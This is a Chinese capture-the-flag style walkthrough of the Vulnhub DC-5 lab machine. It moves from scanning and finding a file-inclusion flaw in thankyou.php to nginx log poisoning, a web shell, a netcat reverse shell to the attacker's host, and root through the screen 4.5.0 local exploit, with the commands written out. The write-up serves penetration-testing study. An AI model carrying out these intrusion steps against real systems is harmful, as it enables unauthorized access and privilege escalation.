一、环境搭建

攻击机:Kali-2021.3:192.168.8.105

靶机:Vulnhub-DC-5:192.168.8.122

二、信息收集

主机探活

1
nmap -sP 192.168.8.0/24

扫描目标端口

1
nmap -A -p- 192.168.8.122

开放了80端口,那就访问看看

看起来没什么特别的,只是一些静态页面

指纹识别一下

1
whatweb 192.168.8.122:80

感觉只是一个简单的页面

在网站里四处看了看,发现Contact里可以产生交互

随便输入一些内容试试

发现我们写入的内容都进入了URL,并且跳转到了thankyou.php里

好像没有什么很明显的利用点,那就扫一下后台看看有无可以利用的文件吧

1
nikto -host 192.168.8.122

似乎什么都没有,换一个字典更大的dirsearch来试试

1
python3 dirsearch.py -u http://192.168.8.122

三、实战

漏洞分析

扫目录后发现有个在网页里没见过的footer.php文件

访问一下

发现就是之前页面下面的Copyright

还不知道有什么用,抓数据包看看

但数据包并没有什么特殊的,但是我记得在网页上的时候还是2020,现在变成了2017

再测试几次,发现刷新的时候这个年份会产生变化

再回到刚刚的页面中,无论怎么刷新它也不会变化

经过测试,只有在thankyou.php这个页面里刷新的时候它才会变化

怀疑有文件包含,在thankyou.php里包含了footer.php文件

抓包爆破一下它的文件包含的参数

成功爆破出文件包含的参数

漏洞利用

有了文件包含,我们想要查看任何已知路径的文件都可以做到,但要想拿到shell,那就得日志包含了

在之前的指纹识别里能知道这个页面的Web服务器是Nginx,那直接网上找一找就能知道日志路径的位置了

查看一下看看对不对

1
192.168.8.122/thankyou.php?file=/var/log/nginx/access.log

成功访问到日志,那接下来就是写入一句话再蚁剑连接就行了

成功连接

反弹shell

为了后面的操作更方便,先来反弹一下shell吧

1
nc -lvp 2222

然后在蚁剑上打开终端

1
nc 192.168.8.105 2222 -e /bin/bash

成功反弹shell后,利用python创建一个交互式shell

1
python -c 'import pty; pty.spawn("/bin/bash")'

提权

现在来看看如何提权

SUID提权

1
find / -perm -4000 -print 2>/dev/null

免密的有root权限的文件

1
sudo -l

发现有一个很特别的东西,去看看它有没有可以利用的漏洞

1
searchsploit screen 4.5.0

发现存在一个漏洞可以利用

打开看看如何使用

1
searchsploit -x linux/local/41154.sh

里面大致有三部分,我框起来的是两部分,把这两部分删掉就是最后一部分

  1. 首先是第一部分,新建一个C文件,并写入第一部分的C语言内容

    1
    vi libhax.c

    然后根据它的步骤把这个C文件编译成so文件

    1
    gcc -fPIC -shared -ldl -o libhax.so libhax.c

    然后下面这个是用来删除刚刚新建的C文件的,可以执行也可以不执行

    1
    rm -f libhax.c
  2. 第二部分,同样新建一个C文件并写入C代码

    1
    vi rootshell.c

    然后编译

    1
    gcc -o rootshell rootshell.c

    1
    rm -f rootshell.c
  3. 最后一部分把前面两部分的删掉后另存进一个sh文件中就行

    1
    vi run.sh

然后把文件从kali复制出来,再通过蚁剑上传到/tmp目录下

然后在终端里给sh文件赋予可执行的权限,然后再执行run.sh文件就能提权成功

1
2
chmod +x run.sh
./run.sh

成功找到flag

参考文章

dc-5 靶机渗透学习

Linux终端命令神器–Screen命令详解。助力Linux使用和管理

Vulnhub靶机实战——DC-5